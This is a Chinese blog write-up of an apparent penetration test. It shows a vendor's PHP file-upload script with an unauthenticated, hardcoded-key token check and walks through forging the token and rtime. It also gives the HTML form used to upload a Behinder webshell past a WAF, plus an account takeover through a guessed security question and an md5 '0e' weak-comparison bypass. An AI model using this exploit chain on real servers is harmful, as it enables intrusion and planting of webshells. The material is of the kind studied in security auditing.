与某电的爱恨情仇

语言: CN / TW / HK

攻击过程

信息收集,经典coremail邮箱,爆破+运气好,猜到了密保重置了某个倒霉蛋的密码。但是由于目标把vpn密码全部改了而且都是随机化,暂且放弃了。

开始挖洞,在连挖两天后,外网基本没有什么洞,心里很绝望。在翻看这几天做的记录时,发现许多系统都是由一家外包公司做的,那没辙了,只能硬着头皮打供应商。

在打的过程,对比着发现确实是一套源码,同时也发现这个供应商很小,代码啥的感觉比较简陋。但是经历几个小时的突破,邮箱也没有爆出来一个,后台也没个口令,外网资产也没挖到什么重大的漏洞。

新的发现

逐渐崩溃,索性就在浏览器搜了一下对应的系统

wow,是他们自己搭的git,里面可能托管着系统源码!冲!

看着源码,流下了感动的泪水,19年提交的,但是最近更新是在10个月前,应该也差不多。

于是我又当起了ctfer~hhhh

代码审计

时间紧,任务重,我们找可以直接getshell的,文件上传最熟悉,就找他,全局搜索文件上传的相关函数比如upload,move_uploaded_file,最终锁定目标。

给哥哥们上源码

<?php$key = 'is*************key';function array_multiksort(&$rows){    foreach ($rows as $key => $row) {        if (is_array($row)) {
            array_multiksort($rows[$key]);
        }
    }

    ksort($rows, SORT_STRING);
}$rs = array();$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;$tmp_str = http_build_query($hash_row);//可以判断请求时间是否超过某个期限, 1分钟内if ((time() - $hash_row['rtime'] < 600) && $token == md5($tmp_str)) {    if ($_FILES) {        $filename = $_FILES['upfile']['name'];        $tmpname = $_FILES['upfile']['tmp_name'];        $full_name = isset($_REQUEST['full_name']) ? $_REQUEST['full_name'] : '/' . $filename;        print($full_name);        $file_path = './' . $full_name;        $dir = dirname($file_path);        if (!file_exists($dir)) {
            mkdir(dirname($file_path), 0777, true);
        }        if (move_uploaded_file($tmpname, $file_path)) {            $rs['status'] = 200;            $rs['msg'] = 'success';            $path_row = pathinfo(sprintf('http://%s%s', $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI']));            $url = sprintf('%s/image.php%s', $path_row['dirname'], $full_name);            $rs['url'] = $url;
        } else {            $rs['status'] = 250;            $rs['msg'] = 'failure1';            #print($file_path+'dasdadsa'+$tmpname);
        }
    } else {        $rs['status'] = 250;        $rs['msg'] = 'failure2';
    }
} else {    $rs['status'] = 250;    $rs['msg'] = 'key错误 或者 超时';
}echo json_encode($rs);?>

简单的大概看一下,这个上传点并没有做身份校验,因为这个站当时在打的时候,发现许多功能点都需要admin,刚开始还比较担心。先大概看一下逻辑,26行前都是在做定义和赋值,上传的核心代码在27行后,并且在一个if条件语句中。只有符合了if的条件,才能往下走到上传的代码处。

if ((time() - $hash_row['rtime'] < 600) && $token == md5($tmp_str))

if的条件判断也挺简单,是与的结构。

先看第一个条件

time() - $hash_row['rtime'] < 600

当前时间戳减去hash_row数组中rtime的值要小于600

这个好办,只要让rtime无限大,那么结果就可以无限小

再看第二个条件

$token == md5($tmp_str)

对token的值进行了验证,值必须等于$tmp_str变量的md5(注意这里是一个php中的弱类型比较,这个点会有用,等下说)

再看前面定义变量和赋值的那段代码

$key = 'is*************key';function array_multiksort(&$rows){    foreach ($rows as $key => $row) {        if (is_array($row)) {
            array_multiksort($rows[$key]);
        }
    }

    ksort($rows, SORT_STRING);
}$rs = array();$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;$tmp_str = http_build_query($hash_row);

可以看的出来,$formvars接受我们post的传参,$token直接取了formvars数组中token的value值,也就是说token是我们可以控制的,同理hash_row也是我们post的传参,rtime取的是hash_row数组中rtime的value。rtime也是我们可以控制的。

那么现在问题就剩一个,token的值到底是什么

根据条件

$token == md5($tmp_str)

token的值要等于$tmp_str的md5,

根据代码$tmp_str = http_build_query($hash_row)我们可以知道

$tmp_str就是hash_row经过url编码后的值

只要构造出hash_row,就可以通过if判断

我们继续去上面看关于hash_row数组是如何赋值的

因为hash_row是我们的post传参

$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;

根据上面这段代码,因为在向hash_row赋值前,通过unset($formvars[‘token’])卸载了$formvars中token的键值

所以hash_row数据所需要的键值,就只有下面规定的key,还有我们要绕过if判断的第一个条件所需的rtime。key的值是固定的,源码中已经给出,(这里脱敏处理,我把key改了)其实分析到这里,整个if判断最关键的就是这个key,所以我严重怀疑这是运维留下的后门。(array_multiksort这个函数就是遍历一遍数组然后赋值,这里其实都不要看,因为都是代码写好的,参数可控的情况下,我们本地搭环境然后调试,让系统把参数给我们打印就来就好)

分析完了那么我们一步一步来把值构造出来吧

掏出我的MAMP-pro本地把环境起来

先构造rtime(我重新写了一个if判断,这样可以直观的看出来值是否符合要求,同时我们把每一次传参数的值也打印出来,这个调试起来也方便)

我们给rtime赋值趋于无限大

没有问题,通过了判断

下面继续构造token,我们直接将key赋值之后,将他的md5打印出来,然后再写一个if判断,来判断我们的token是否正确

token的值拿到了,直接冲

nice,下面就可以构造上传包了

我们把刚才的key,rtime还有token直接写好在前端,跟上传包一起发送

<html><head><meta charset="utf-8"><title>upload</title></head><body><form action="http://127.0.0.1/xxx/xxx/xxxx.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="upfile" id="file"><br>
    <input name="token" value="">
    <input name="key" value="">
    <input name="rtime" value="999999999999999999999999">
    <input type="submit" value="提交"></form></body></html>

本地我们测试一下(我为了方便,直接在代码里面改了一下,把路径打印了出来)

成功了,路径就在根目录,wow

快乐上传

目标站点还存在比较强的流量waf,分段传输冰蝎绕过,随着手指在键盘上的一顿抽搐,一切变的索然无味

拿下!

(写的不太好,哥哥们轻喷)

拓展:key改了怎么办?

这次项目运气比较好,key没有改,之间getshell,万一改了怎么办呢?

$token == md5($tmp_str)

刚才提到了这里用的是php的弱类型比较:==

在php中弱类型比较是不判断变量类型的

在php中强比较是这样的:===

详细说明一下:

==:先将字符串类型转化成相同,再比较===:先判断两种字符串的类型是否相等,再比较字符串和数字比较使用==时,字符串会先转换为数字类型再比较

这里还要再提一下md5()的两个小点,(这个案例完全符合ctf题目啊hhhh)

1.部分字符串由于使用 md5 加密后会变成 0e 开头的字符串,然后使用 == 判断时就容易绕过
2.md5() 中需要的是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。

这里就可以有另外一个利用思路

我们可以让token的值为0e开头的值,然后进行碰撞(这种问题在ctf中很常见,也是我第一次在实战中遇到,突然感慨万千)

如果key改了,那么我们可以考虑这样去碰撞一下,说不定就可以绕过判断